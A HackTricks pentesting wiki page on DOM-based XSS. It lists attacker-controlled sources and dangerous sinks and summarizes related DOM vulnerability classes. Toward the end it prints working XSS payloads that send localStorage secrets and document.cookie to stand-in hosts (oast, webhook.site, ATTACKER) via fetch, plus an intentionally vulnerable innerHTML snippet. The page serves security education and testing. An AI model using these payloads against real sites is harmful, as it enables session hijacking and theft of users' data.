dom-xss.md (27973B)
1 --- 2 title: "DOM XSS" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/dom-xss.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/dom-xss.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # DOM XSS 14 15 ## DOM Vulnerabilities 16 17 DOM vulnerabilities occur when data from attacker-controlled **sources** (like `location.search`, `document.referrer`, or `document.cookie`) is unsafely transferred to **sinks**. Sinks are functions or objects (e.g., `eval()`, `document.body.innerHTML`) that can execute or render harmful content if given malicious data. 18 19 - **Sources** are inputs that can be manipulated by attackers, including URLs, cookies, and web messages. 20 - **Sinks** are potentially dangerous endpoints where malicious data can lead to adverse effects, such as script execution. 21 22 The risk arises when data flows from a source to a sink without proper validation or sanitation, enabling attacks like XSS. 23 24 > [!TIP] 25 > **You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) 26 27 **Common sources:** 28 29 ```javascript 30 document.URL 31 document.documentURI 32 document.URLUnencoded 33 document.baseURI 34 location 35 document.cookie 36 document.referrer 37 window.name 38 history.pushState 39 history.replaceState 40 localStorage 41 sessionStorage 42 IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB) 43 Database 44 ``` 45 46 **Common Sinks:** 47 48 | [**Open Redirect**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#open-redirect) | [**Javascript Injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#javascript-injection) | [**DOM-data manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#dom-data-manipulation) | **jQuery** | 49 | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | 50 | `location` | `eval()` | `scriptElement.src` | `add()` | 51 | `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | 52 | `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` | 53 | `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` | 54 | `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` | 55 | `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` | 56 | `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` | 57 | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | 58 | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | 59 | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | 60 | `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | 61 | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | 62 | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | 63 | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | 64 | `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | 65 | **\`\`**[**Ajax request manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | 66 | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | 67 | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | 68 | `XMLHttpRequest.send()` | [**Link manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | 69 | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | 70 | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#client-side-sql-injection) | 71 | **\`\`**[**HTML5-storage manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | 72 | `sessionStorage.setItem()` | [**XPath injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | 73 | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | 74 | **``**[**`Denial of Service`**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#cookie-manipulation) | 75 | `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | 76 | `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#websocket-url-poisoning) | 77 | [**Client-Side SQl injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#client-side-sql-injection) | [**Web-message manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#web-message-manipulation) | `history.replaceState()` | `WebSocket` | 78 | `executeSql()` | `postMessage()` | \`\` | \`\` | 79 80 The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`. 81 82 This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS. 83 84 ## Tools to find them 85 86 - [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) 87 - Browser extension to check all data that reaches a potential sink: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) 88 89 ## Examples 90 91 ### Open Redirect 92 93 From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)<sup>[[1]](#references)</sup> 94 95 **Open redirect vulnerabilities in the DOM** occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains. 96 97 It's crucial to understand that executing arbitrary code, such as **`javascript:alert(1)`**, is possible if you have control over the start of the URL where the redirection occurs.<sup>[[1]](#references)</sup> 98 99 Sinks: 100 101 ```javascript 102 location 103 location.host 104 location.hostname 105 location.href 106 location.pathname 107 location.search 108 location.protocol 109 location.assign() 110 location.replace() 111 open() 112 domElem.srcdoc 113 XMLHttpRequest.open() 114 XMLHttpRequest.send() 115 jQuery.ajax() 116 $.ajax() 117 ``` 118 119 ### Cookie manipulation 120 121 From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)<sup>[[2]](#references)</sup> 122 123 DOM-based cookie-manipulation vulnerabilities occur when a script incorporates data, which can be controlled by an attacker, into the value of a cookie. This vulnerability can lead to unexpected behavior of the webpage if the cookie is utilized within the site. Additionally, it can be exploited to carry out a session fixation attack if the cookie is involved in tracking user sessions. The primary sink associated with this vulnerability is:<sup>[[2]](#references)</sup> 124 125 Sinks: 126 127 ```javascript 128 document.cookie 129 ``` 130 131 ### JavaScript Injection 132 133 From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)<sup>[[3]](#references)</sup> 134 135 DOM-based JavaScript injection vulnerabilities are created when a script runs data, which can be controlled by an attacker, as JavaScript code.<sup>[[3]](#references)</sup> 136 137 Sinks: 138 139 ```javascript 140 eval() 141 Function() constructor 142 setTimeout() 143 setInterval() 144 setImmediate() 145 execCommand() 146 execScript() 147 msSetImmediate() 148 range.createContextualFragment() 149 crypto.generateCRMFRequest() 150 ``` 151 152 ### Document-domain manipulation 153 154 From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)<sup>[[4]](#references)</sup> 155 156 **Document-domain manipulation vulnerabilities** occur when a script sets the `document.domain` property using data that an attacker can control. 157 158 The `document.domain` property plays a **key role** in the **enforcement** of the **same-origin policy** by browsers. When two pages from different origins set their `document.domain` to the **same value**, they can interact without restrictions. Although browsers impose certain **limits** on the values assignable to `document.domain`, preventing the assignment of completely unrelated values to the actual page origin, exceptions exist. Typically, browsers permit the use of **child** or **parent domains**.<sup>[[4]](#references)</sup> 159 160 Sinks: 161 162 ```javascript 163 document.domain 164 ``` 165 166 ### WebSocket-URL poisoning 167 168 From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)<sup>[[5]](#references)</sup> 169 170 **WebSocket-URL poisoning** occurs when a script utilizes **controllable data as the target URL** for a WebSocket connection.<sup>[[5]](#references)</sup> 171 172 Sinks: 173 174 The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities. 175 176 ### Link manipulation 177 178 From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)<sup>[[6]](#references)</sup> 179 180 **DOM-based link-manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.<sup>[[6]](#references)</sup> 181 182 Sinks: 183 184 ```javascript 185 someDOMElement.href 186 someDOMElement.src 187 someDOMElement.action 188 ``` 189 190 ### Ajax request manipulation 191 192 From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)<sup>[[7]](#references)</sup> 193 194 **Ajax request manipulation vulnerabilities** arise when a script writes **attacker-controllable data into an Ajax request** that is issued using an `XmlHttpRequest` object.<sup>[[7]](#references)</sup> 195 196 Sinks: 197 198 ```javascript 199 XMLHttpRequest.setRequestHeader() 200 XMLHttpRequest.open() 201 XMLHttpRequest.send() 202 jQuery.globalEval() 203 $.globalEval() 204 ``` 205 206 ### Local file-path manipulation 207 208 From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)<sup>[[8]](#references)</sup> 209 210 **Local file-path manipulation vulnerabilities** arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, could lead to the **user's browser opening or writing an arbitrary local file**.<sup>[[8]](#references)</sup> 211 212 Sinks: 213 214 ```javascript 215 FileReader.readAsArrayBuffer() 216 FileReader.readAsBinaryString() 217 FileReader.readAsDataURL() 218 FileReader.readAsText() 219 FileReader.readAsFile() 220 FileReader.root.getFile() 221 FileReader.root.getFile() 222 ``` 223 224 ### Client-Side SQl injection 225 226 From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)<sup>[[9]](#references)</sup> 227 228 **Client-side SQL-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.<sup>[[9]](#references)</sup> 229 230 Sinks: 231 232 ```javascript 233 executeSql() 234 ``` 235 236 ### HTML5-storage manipulation 237 238 From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)<sup>[[10]](#references)</sup> 239 240 **HTML5-storage manipulation vulnerabilities** arise when a script **stores attacker-controllable data in the web browser's HTML5 storage** (`localStorage` or `sessionStorage`). While this action is not inherently a security vulnerability, it becomes problematic if the application subsequently **reads the stored data and processes it unsafely**. This could allow an attacker to leverage the storage mechanism to conduct other DOM-based attacks, such as cross-site scripting and JavaScript injection.<sup>[[10]](#references)</sup> 241 242 Sinks: 243 244 ```javascript 245 sessionStorage.setItem() 246 localStorage.setItem() 247 ``` 248 249 ### XPath injection 250 251 From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)<sup>[[11]](#references)</sup> 252 253 **DOM-based XPath-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into an XPath query**.<sup>[[11]](#references)</sup> 254 255 Sinks: 256 257 ```javascript 258 document.evaluate() 259 someDOMElement.evaluate() 260 ``` 261 262 ### Client-side JSON injection 263 264 From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)<sup>[[12]](#references)</sup> 265 266 **DOM-based JSON-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.<sup>[[12]](#references)</sup> 267 268 Sinks: 269 270 ```javascript 271 JSON.parse() 272 jQuery.parseJSON() 273 $.parseJSON() 274 ``` 275 276 ### Web-message manipulation 277 278 From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)<sup>[[13]](#references)</sup> 279 280 **Web-message vulnerabilities** arise when a script sends **attacker-controllable data as a web message to another document** within the browser.<sup>[[13]](#references)</sup> An **example** of vulnerable Web-message manipulation can be found at [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). 281 282 Sinks: 283 284 The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way. 285 286 ### DOM-data manipulation 287 288 From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)<sup>[[14]](#references)</sup> 289 290 **DOM-data manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a field within the DOM** that is utilized within the visible UI or client-side logic. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, can alter the appearance or behaviour of the client-side UI.<sup>[[14]](#references)</sup> 291 292 Sinks: 293 294 ```javascript 295 scriptElement.src 296 scriptElement.text 297 scriptElement.textContent 298 scriptElement.innerText 299 someDOMElement.setAttribute() 300 someDOMElement.search 301 someDOMElement.text 302 someDOMElement.textContent 303 someDOMElement.innerText 304 someDOMElement.outerText 305 someDOMElement.value 306 someDOMElement.name 307 someDOMElement.target 308 someDOMElement.method 309 someDOMElement.type 310 someDOMElement.backgroundImage 311 someDOMElement.cssText 312 someDOMElement.codebase 313 document.title 314 document.implementation.createHTMLDocument() 315 history.pushState() 316 history.replaceState() 317 ``` 318 319 ### Denial of Service 320 321 From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)<sup>[[15]](#references)</sup> 322 323 **DOM-based denial-of-service vulnerabilities** occur when a script passes **attacker-controllable data unsafely to a problematic platform API**. This includes APIs that, when invoked, can lead the user's computer to consume **excessive amounts of CPU or disk space**. Such vulnerabilities can have significant side effects, such as the browser restricting the website's functionality by rejecting attempts to store data in `localStorage` or terminating busy scripts.<sup>[[15]](#references)</sup> 324 325 Sinks: 326 327 ```javascript 328 requestFileSystem() 329 RegExp() 330 ``` 331 332 ## Dom Clobbering 333 334 335 [Dom Clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering) 336 337 ## Implicit globals & `window.name` abuse 338 339 Referencing `name` without a declaration (`var`/`let`/`const`) resolves to `window.name`. Because `window.name` persists across cross-origin navigations, an attacker can pre-seed a browsing context name with HTML/JS and later have victim code render it as trusted data: 340 341 - Open/navigate the target in a named context you control: 342 343 ```html 344 <iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe> 345 ``` 346 347 - Or reuse `window.open` with a crafted target name: 348 349 ```javascript 350 window.open('https://target/page', "<svg/onload=alert(document.domain)>") 351 ``` 352 353 If the application later does `element.innerHTML = name` (or similar sink) without sanitization, the attacker-controlled `window.name` string executes in the target origin, enabling DOM XSS and access to same-origin storage.<sup>[[16]](#references)</sup> 354 355 ## Admin/automation flows: pre-seeded storage & `javascript:` navigation 356 357 Automation bots (e.g., Playwright) often visit an internal page first, set secrets in `localStorage`/cookies, then navigate to user-supplied URLs. Any DOM XSS primitive (including `window.name` abuse) in that flow can exfiltrate the seeded secret: 358 359 ```javascript 360 fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag'))) 361 ``` 362 363 If the bot does not restrict schemes, supplying a `javascript:` URL (`javascript:fetch(...)`) executes in the current origin without new navigation, directly leaking storage values.<sup>[[16]](#references)</sup> 364 365 ## Template literal `innerHTML` + partial sanitization gaps 366 367 Frontends that sanitize only selected fields but still interpolate an untrusted one directly into `innerHTML` are trivially exploitable. Example: 368 369 ```javascript 370 fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => { 371 reports.forEach(report => { 372 reportCard.innerHTML = ` 373 <div>${DOMPurify.sanitize(report.id)}</div> 374 <div>${report.details}</div> <!-- unsanitized sink --> 375 `; 376 }); 377 }); 378 ``` 379 380 If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes **stored DOM XSS** for any privileged viewer of the list. A simple payload such as `<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>` executes when an admin opens the page and exfiltrates their cookies. 381 382 When the app explicitly disables `SESSION_COOKIE_HTTPONLY` (e.g., Flask `app.config['SESSION_COOKIE_HTTPONLY'] = False`), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random `secret_key` prevents forging, but theft still works).<sup>[[17]](#references)</sup> 383 384 ## References 385 386 - [1] [PortSwigger: DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection) 387 - [2] [PortSwigger: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) 388 - [3] [PortSwigger: DOM-based JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection) 389 - [4] [PortSwigger: DOM-based document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) 390 - [5] [PortSwigger: DOM-based WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) 391 - [6] [PortSwigger: DOM-based link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) 392 - [7] [PortSwigger: DOM-based Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) 393 - [8] [PortSwigger: DOM-based local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) 394 - [9] [PortSwigger: DOM-based client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) 395 - [10] [PortSwigger: DOM-based HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) 396 - [11] [PortSwigger: DOM-based client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) 397 - [12] [PortSwigger: DOM-based client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) 398 - [13] [PortSwigger: DOM-based web-message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) 399 - [14] [PortSwigger: DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) 400 - [15] [PortSwigger: DOM-based denial of service](https://portswigger.net/web-security/dom-based/denial-of-service) 401 - [16] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium) 402 - [17] [HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)